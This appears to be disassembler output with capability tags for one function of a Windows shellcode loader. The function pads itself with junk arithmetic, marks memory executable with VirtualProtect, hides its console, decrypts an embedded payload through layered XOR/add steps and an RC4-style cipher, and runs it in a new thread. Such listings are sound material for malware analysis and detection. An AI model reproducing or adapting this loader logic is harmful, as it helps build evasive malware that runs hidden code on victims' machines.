Function at 0x401040
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x190], eax
push ebx
push esi
push edi
mov dword [ebp - 0x7c], 0
inc di
imul ecx
sub edi, ebx
shl eax, 0xcb
rcr si, 0x89
rol cx, 0x66
mul esi
imul edx
imul edx
imul dx
and ax, dx
rol ecx, 0x96
rol ebx, 0x40
mul bx
mov cx, 0x373
shr di, 0x79
sub di, si
add eax, 0x65
mul cx
imul di
mov bx, dx
movzx eax, dl
sub cx, ax
inc eax
jne 0x4010d3
test ecx, 0x41
ja 0x401103
mov esi, 8
shl eax, 0x5b
inc dx
ror edi, 0xc9
inc esi
xor ecx, edx
add bx, 0x2e5
shr cx, 0xd7
mov edx, 0x2dd
jmp 0x4010df
or eax, 0x397
xor di, 0x1ae
or edi, edx
shl ax, 0x6b
imul si
rcl edx, 0xab
ja 0x401103
cmp ebx, 0x43
jae 0x40115c
shr di, 0x10
ror ebx, 0xf4
dec si
movsx edx, cl
inc si
mov edi, edi
inc ebx
jmp 0x401113
shl cx, 0x27
xor ebx, edx
shl ebx, 0x6a
mul ecx
imul ecx
imul ax
add si, bx
mov bx, 0x27f
imul edi
mul eax
add bx, ax
imul bx
add edi, ecx
rol dx, 0x7a
xor si, 0x345
sub ax, 0x3c3
jb 0x40115c
cmp eax, 0x4b
jne 0x401196
rcl eax, 0xd
sub eax, 0x30
shl eax, 0x10
sub dx, 0x1af
and cx, di
and ecx, 0x12b
dec di
or bx, 0x77
shl edi, 0x2d
jmp 0x40117a
imul edx
or bx, 0xd8
add cx, bx
imul esi
imul eax
rcl bx, 0xd7
mov dx, dx
movsx eax, ax
dec si
ror di, 0xa5
dec eax
xor esi, esi
jne 0x401196
cmp edx, 0x2a
jb 0x4011d4
shr edx, 0x1a
mov edi, 0x2d7
ror ebx, 0xeb
sub eax, 0x221
jmp 0x4011a3
inc eax
xor edi, 0x247
xor edx, 0x236
rcl bx, 0xde
shl si, 0xdf
imul ebx
dec ebx
shr cx, 0x7f
jae 0x4011d4
add dx, 4
movzx edi, dh
ror bx, 0xd5
rcr ax, 0x7e
dec esi
sub ax, ax
dec di
shl ebx, 0x3c
rcl bx, 0xff
xor edi, edx
jmp 0x4011ec
imul ax
rcr di, 0x74
shl eax, 0xee
shl di, 0xba
dec dx
inc eax
ror edi, 0x9b
ror bx, 0x70
rcr si, 0xf0
jne 0x401213
inc dx
shl bx, 0xf2
rcl ax, 0xec
movzx esi, dx
sub si, 0x1ab
dec edi
movzx ecx, dh
ror ebx, 0x19
sub esi, 0x2cc
jmp 0x40121b
rcl esi, 0xf9
mov bx, di
inc dx
movzx eax, si
jb 0x40122d
test eax, 0x59
jb 0x401299
sub bx, 0x66
jmp 0x401246
rcl edx, 0x8a
ror dx, 0x8c
dec ax
shl edx, 0x8d
mul edi
sub cx, 0x39a
sub bx, ax
inc ecx
sub esi, eax
or eax, ecx
rol cx, 0xfe
mov esi, 0x36c
rcr ecx, 0xdf
ror edx, 0x29
shl bx, 0x33
rol ax, 0xc8
or cx, 0x16b
rol si, 0xf1
imul cx
jb 0x401299
test esi, 0x3c
ja 0x4012e4
rol edx, 0x1e
add si, 0x68
shr eax, 0xe8
shr bx, 0xb8
rcl eax, 0x8b
mul dx
inc si
add cx, 0x3bf
shl edx, 0x51
rcl di, 0x57
jmp 0x4012b0
rcr si, 0xa3
shl esi, 0x7d
shr dx, 0x3b
rcl si, 0xd1
shr cx, 0x10
shl bx, 0xce
shl eax, 0x3c
ror ebx, 0xe8
ror edx, 0xf8
ror si, 0xbc
shr ax, 0xc5
and di, 0x16e
or di, cx
rol esi, 0xee
and di, dx
ror ebx, 0x70
jb 0x4012e4
movzx eax, cl
inc ax
and di, cx
rol ebx, 0xbd
mov ax, si
jmp 0x4012ea
inc si
rcr bx, 0xff
shr di, 0x9d
movsx esi, cl
imul ecx
or edi, eax
sub edi, eax
rcl dx, 0xb5
rol di, 0x27
imul ax
rol ax, 0xa1
imul dx
jb 0x401315
shl esi, 0x3c
imul esi
movzx eax, cx
jmp 0x401320
movzx edx, ax
imul di
dec ecx
mul ebx
dec ax
and dx, 0x184
movsx edx, cx
add eax, 0x1d7
shl eax, 0xff
je 0x40135a
test ecx, 0x10
ja 0x40137b
add ebx, ecx
rol esi, 0x48
rcr dx, 0x23
rcl ax, 2
mul ax
mul esi
or edx, esi
shr edi, 0x7c
rol ax, 0xef
movsx edx, bx
jmp 0x40135f
mov eax, 0x2a0
sub cx, 0x1d4
jb 0x40137b
test esi, 0xb
je 0x4013b3
inc cx
or edi, 0x3e4
sub si, cx
jmp 0x401393
shl ebx, 0x36
and ebx, esi
rcr eax, 0x67
shr esi, 0xf1
imul esi
xor eax, esi
sub edx, ebx
ror ax, 0xac
rcr ebx, 0x80
imul ecx
shl si, 0xfd
jae 0x4013b3
dec eax
shl edx, 0xeb
sub di, 0x3f
mul ax
or si, 0xdd
rcr dx, 0x5e
xor esi, esi
jmp 0x4013be
shr edx, 0xf5
rol dx, 0xac
dec edx
and di, dx
ror cx, 0x8a
lea eax, [ebp - 0x7c]
push eax
push 0x40
push 0x4ac
push 0x436cf0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
movaps xmm1, xmmword [0x4198a0]
xor eax, eax
movaps xmm2, xmmword [0x4198b0]
movaps xmm3, xmmword [0x419870]
movaps xmm4, xmmword [str.________________NNNNNNNNNNNNNNNNjjjjjjjjjjjjjjjjllllllllllllllllppppppppppppppppsssssssssssssssstttttttttttttttt]
movaps xmm5, xmmword [0x419850]
mov dword [ebp - 0x80], 0
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x436cf0]
xorps xmm0, xmm1
psubb xmm0, xmmword [0x419880]
xorps xmm0, xmm2
paddb xmm0, xmmword [0x419860]
xorps xmm0, xmmword [0x419890]
psubb xmm0, xmmword [0x4198c0]
paddb xmm0, xmm3
xorps xmm0, xmm4
psubb xmm0, xmmword [0x4198a0]
xorps xmm0, xmm5
movups xmmword [eax + 0x436cf0], xmm0
add eax, 0x10
cmp eax, 0x4a0
jb 0x401410
cmp eax, 0x4ac
jae 0x40149f
nop word [eax + eax]
mov cl, byte [eax + 0x436cf0]
xor cl, 0x73
sub cl, 0x6c
xor cl, 0x74
add cl, 0x4e
xor cl, 0x70
sub cl, 0x65
xor cl, 0x22
sub cl, 0x73
xor cl, 0x2a
mov byte [eax + 0x436cf0], cl
inc eax
cmp eax, 0x4ac
jb 0x401470
xor ebx, ebx
mov eax, 0xba2e8ba3
mov byte [ebp + ebx + 0x90], bl
mul ebx
mov ecx, ebx
shr edx, 4
imul eax, edx, 0x16
sub ecx, eax
mov al, byte [ecx + 0x4371a0]
mov byte [ebp + ebx - 0x70], al
inc ebx
cmp ebx, 0x100
jl 0x4014a1
xor esi, esi
xor edi, edi
mov dl, byte [ebp + esi + 0x90]
movzx eax, byte [ebp + esi - 0x70]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x4014f3
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi + 0x90]
mov byte [ebp + esi + 0x90], al
inc esi
mov byte [ebp + edi + 0x90], dl
cmp esi, 0x100
jl 0x4014d0
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x74], edx
xor edi, edi
nop word [eax + eax]
inc ecx
and ecx, 0x800000ff
jns 0x401531
dec ecx
or ecx, 0xffffff00
inc ecx
push 0
push 0
push 0
mov dword [ebp - 0x78], ecx
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov ebx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x74]
mov bl, byte [ebp + ebx + 0x90]
movzx esi, bl
add eax, esi
and eax, 0x800000ff
jns 0x401560
dec eax
or eax, 0xffffff00
inc eax
mov dword [ebp - 0x74], eax
mov eax, edi
and eax, 1
push eax
push 0x41983c
call fcn.00401010
mov edx, dword [ebp - 0x74]
add esp, 8
mov ecx, dword [ebp - 0x78]
movzx eax, byte [ebp + edx + 0x90]
mov byte [ebp + ecx + 0x90], al
mov byte [ebp + edx + 0x90], bl
movzx eax, byte [ebp + ecx + 0x90]
add eax, esi
movzx eax, al
movzx eax, byte [ebp + eax + 0x90]
xor byte [edi + 0x41b8f0], al
inc edi
cmp edi, 0x1b400
jl 0x401520
lea eax, [ebp - 0x80]
push eax
push 0
push 0x41b8f0
push 0x436e78
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x190]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401600
lea esp, [ebp + 0x194]
pop ebp
ret